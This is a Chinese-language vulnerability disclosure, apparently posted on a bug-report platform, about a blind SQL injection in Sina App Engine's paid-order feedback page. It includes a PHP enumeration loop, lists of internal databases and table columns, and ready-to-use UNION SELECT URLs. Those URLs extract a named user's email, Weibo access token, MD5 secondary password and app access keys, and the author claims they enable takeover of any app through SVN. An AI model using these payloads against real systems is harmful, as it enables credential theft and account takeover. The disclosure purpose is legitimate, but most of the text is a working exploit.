不过官方大可放心，并没有拖库也没有看订单信息，赶紧修复吧：）
PS：没想到啊没想到，还没研究sae沙箱环境，在主站就找到了短板，而且短的可怕。
问题归根结底是一个SQL注入，SAE为什么会有注射？想完抽了自己一巴掌，SAE为什么不能有注射？！
一般明面的问题sina安全团队可以发现，而且也会被过路黑客帮忙检测，凭着直觉，问题会出现在一些角落，一些不被人注意到的地方，就在这里：
?sae_internal=1&may_fail=0&order_id=1
一个付费信息反馈页面，用sqlmap跑了一下，这个傻缺居然告诉我只能盲注。。。自己写了个临时脚本跑数据库。
<?php
$url = "?sae_internal=1&may_fail=0&order_id=1'";
for ($i=0; $i < 1000; $i++) { //很搓吧。。
$res = explode("|",curlrequest($url.urlencode(" and 1=2 union select 1,concat(0x7c,COLUMN_NAME,0x7c),3,4,5 from information_schema.COLUMNS where TABLE_NAME='user' limit $i,1#")));
echo $res[10]."\r\n";
}
省略curl定义
部分数据
database:
information_schema
app_store
cron
cron2
cron_result
mysql_stat
sae
sae_java
sae_nodejs
swsUser
test
xweibo
admin表 ->
id
sws_uid
name
password
timeline
role
s_mail
mobile
app表存放app相关信息，比如名称\accesskey -->
name
cn_name
api_version
biz_type
desp
default_version
cname
create_uid
accesskey
group_name
pool_name
svn_url
status
timeline
mysql_port
old_status
hash
cookie
platform
lang
app_type
middle_type
icon
status_flags
delete_time
user表存放用户所有信息，uid、oauth、email、sae的二次安全密码 -->
id
name
password_md5
mobile
tel
status
timeline
expires
sws_uid
old_status
level
deleted
money
platform
beans_level
mobile_verified
mobile_reverified
is_active
weibo_uid
weibo_name
email_verified
weibo_access_token
devlevel
vdun
olevel
level_endtime
level_notify
up_welcomed
appmid
is_qy_vendor
last_update
userName
省去过多的猜测部分了，直接查询互联网那点事的用户相关信息
?sae_internal=1&may_fail=0&order_id=-1%27%20and%201=2%20union%20select%201,concat%280x7c,email,0x7c,weibo_name,0x7c,weibo_access_token,0x7c,password_md5,0x7c%29,3,4,5%20from%20sae.user%20where%20weibo_uid='1627825392'%20limit%200,1%23
那个md5密码就是sae二次安全密码，这个密码还有牛比的用途，后面说。
还可以查询accesskey
?sae_internal=1&may_fail=0&order_id=-1%27%20and%201=2%20union%20select%201,concat%280x7c,accesskey,0x7c,create_uid,0x7c%29,3,4,5%20from%20sae.app%20limit%200,1%23
可以看出想控制一个app所需的信息全部齐全了。。
8过，还可以利用更简单的方法，svn，sae svn的密码就是sae二次安全密码，嘿嘿。
好了，涛涛电脑知识网，试试黑掉sae上任意的app吧。
证明完毕，涛涛电脑知识网，结贴。
修复方案：
其实就是个注射而已，但是数据库如此透明想不通，权限。。
可以在数据库内找到想要的一切信息啊，是不是需要反省下
